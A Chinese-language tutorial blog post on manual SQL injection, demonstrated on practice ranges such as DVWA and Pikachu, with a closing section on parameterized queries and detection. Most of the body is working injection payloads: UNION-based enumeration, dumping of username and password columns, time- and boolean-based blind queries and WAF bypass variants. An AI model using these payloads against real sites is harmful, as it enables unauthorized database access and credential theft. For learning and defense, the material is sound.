当前位置: 首页 > news >正文

SQL注入实战:手工脱库技术与WAF绕过详解

1. 项目概述

SQL注入作为Web安全领域的经典漏洞类型,至今仍是渗透测试和CTF比赛中的高频考点。我从业Web安全七年来,处理过上百起SQL注入案例,发现许多新手在手工注入过程中常因基础不牢而陷入困境。本文将基于DVWA、Pikachu等主流靶场环境,拆解手工脱库的全流程技术细节。

手工注入与工具扫描最大的区别在于对数据库结构的理解深度。记得第一次接触泛微OA系统注入时,我花了三天时间才绕过WAF获取到管理员凭证,这段经历让我深刻认识到系统化学习的重要性。下面分享的每个技巧都经过真实环境验证,特别适合已经掌握SQL语法基础但缺乏实战经验的安全爱好者。

2. 注入原理深度解析

2.1 漏洞产生机制

当应用程序将用户输入直接拼接进SQL查询语句时,攻击者通过构造特殊输入改变原语句逻辑。以登录场景为例:

-- 原始语句 SELECT * FROM users WHERE username='$input_user' AND password='$input_pass' -- 注入攻击 admin' --

这段注入会使查询变为:

SELECT * FROM users WHERE username='admin' -- ' AND password=''

注释符(--)使密码验证失效,直接以admin身份登录。这种基于单引号闭合的注入属于最常见的字符型注入。

2.2 注入类型鉴别

通过提交特定测试载荷判断注入类型:

  1. 数字型注入

    id=1 and 1=1 -- 正常显示 id=1 and 1=2 -- 异常显示
  2. 字符型注入

    id=1' and '1'='1 -- 正常 id=1' and '1'='2 -- 异常
  3. 搜索型注入

    search=%' and 1=1 --

关键技巧:在Burp Suite中拦截请求后,逐个参数测试闭合方式,观察响应差异。

3. 手工注入全流程实战

3.1 信息收集阶段

使用DVWA靶场(Low级别)演示:

  1. 判断注入点

    1' and sleep(5) --

    若响应延迟5秒,确认存在注入。

  2. 获取字段数

    1' order by 4 -- -- 正常 1' order by 5 -- -- 报错

    说明当前查询返回4个字段。

  3. 确定回显位

    -1' union select 1,2,3,4 --

    页面显示数字2和3的位置可用于输出查询结果。

3.2 数据库结构探测

  1. 获取数据库版本

    -1' union select 1,version(),3,4 --
  2. 列出所有数据库

    -1' union select 1,group_concat(schema_name),3,4 from information_schema.schemata --
  3. 获取当前数据库表

    -1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() --

3.3 数据提取技巧

针对users表的脱库操作:

-1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' -- -1' union select 1,concat(user,'|',password),3,4 from users --

实战经验:遇到group_concat被限制时,可用limit分页:

-1' union select 1,concat(user,':',password),3,4 from users limit 0,1 --

4. 高级绕过技术

4.1 WAF绕过方案

  1. 大小写混淆

    1' aNd 1=1 --
  2. 注释符分割

    1' /*!and*/ 1=1 --
  3. 十六进制编码

    -1' union select 1,0x61646d696e,3,4 --

4.2 盲注技术应用

当页面无回显时采用时间盲注:

1' and if(ascii(substr(database(),1,1))>100,sleep(3),0) --

布尔盲注判断技巧:

1' and (select count(*) from users where username='admin')=1 --

5. 防御方案与检测方法

5.1 安全编码实践

  1. 参数化查询(Java示例):

    String sql = "SELECT * FROM users WHERE username = ?"; PreparedStatement stmt = conn.prepareStatement(sql); stmt.setString(1, inputUser);
  2. 输入过滤

    $input = preg_replace('/[\'"]/', '', $_GET['id']);

5.2 漏洞检测流程

  1. 自动化扫描

    • SQLmap基础检测:
      sqlmap -u "http://target.com/page?id=1" --risk=3 --level=5
  2. 手工验证

    • 使用Burp Suite的Repeater模块逐步测试
    • 对每个输入点测试边界情况

6. 典型问题排查指南

问题现象可能原因解决方案
注入语句执行但无回显可能为盲注场景改用时间盲注或布尔盲注技术
单引号被转义魔术引号开启尝试数字型注入或双重编码
返回结果被截断group_concat长度限制使用substring函数分段获取
请求被WAF拦截触发安全规则尝试注释符混淆/大小写变异

7. 靶场实战建议

  1. DVWA:调整安全等级逐步练习

    • Low:基础注入练习
    • Medium:学习绕过基础过滤
    • High:掌握复杂绕过技术
  2. Pikachu靶场:包含各种变异注入场景

    • 宽字节注入
    • Base64编码注入
    • Cookie注入
  3. CTFshow题目

    # 绕过过滤空格 1'/**/union/**/select/**/1,2,3#

最后分享一个真实案例中的技巧:遇到过滤了information_schema的情况,可以通过mysql.innodb_table_stats等替代表获取表结构信息。手工注入的魅力在于需要根据目标环境不断调整策略,这比单纯使用工具更能提升技术理解深度。

http://www.jsqmd.com/news/1364589/

相关文章:

  • Unity资产处理利器UABEA:从诊断到修复的完整工作流指南
  • 如何快速优化Windows右键菜单:专业管理工具完整指南
  • Seraphine:如何用智能游戏助手3步提升你的英雄联盟排位胜率
  • 本地AI工具集实战:集成llama.cpp/Ollama、AI创作与局域网闪传
  • Unity Prefab系统深度解析:从资源管理到动态加载的工程实践
  • AI辅助动画创作全流程:从Stable Diffusion到RunwayML的实战指南
  • 前端开发者7天转型AI全栈架构师实战指南
  • TrajDebug:长时序智能体轨迹错误生命周期追踪与关键故障定位
  • 沪漂五年职业迷茫与身份认同:从外部驱动到内部价值重构
  • C语言一维数组实践:从基础操作到冒泡排序优化
  • Wallpaper Engine创意工坊下载器:三步搞定动态壁纸的终极指南
  • AI智能体:从工具调用到工作流自动化的范式转变
  • 基于Codex与DeepSeek的自动化办公实战:从PPT生成到飞书集成
  • IAM系统演进:从账号管理到数字化转型核心
  • WinCC与Excel数据交互的高效脚本实现方案
  • JVM调优实战:CPU飙高、OOM与Full GC问题排查
  • 4G动态IP代理构建指南:低成本高匿网络方案
  • DeepSeek与AI视频工具协同:从科普书到短视频的自动化二创实战
  • 嵌入式Linux V4L2摄像头驱动开发:从零到一实现i.MX6ULL图像采集
  • Dify工作流迭代节点详解:从原理到实战,实现AI批量处理与循环逻辑
  • Unity JSON序列化性能优化:JsonUtility与LitJson深度对比与实践指南
  • Transformer偏置型相对位置编码:原理、实现与工程实践
  • Python哈希表实现:字典与集合核心技术解析
  • 新能源并网中的电力安全挑战与防护技术
  • 艾尔登法环帧率解锁终极指南:免费提升游戏体验的完整教程
  • Word与EndNote X9参考文献编号对齐技巧
  • Unity细节贴图全解析:提升材质特写质感的核心技术
  • 从零构建趣味“好消息生成器”:前端到后端完整实现指南
  • 工业图像知识库:基于多模态与向量模型实现视觉认知与智能检索
  • iptables规则管理实战:顺序调整与性能优化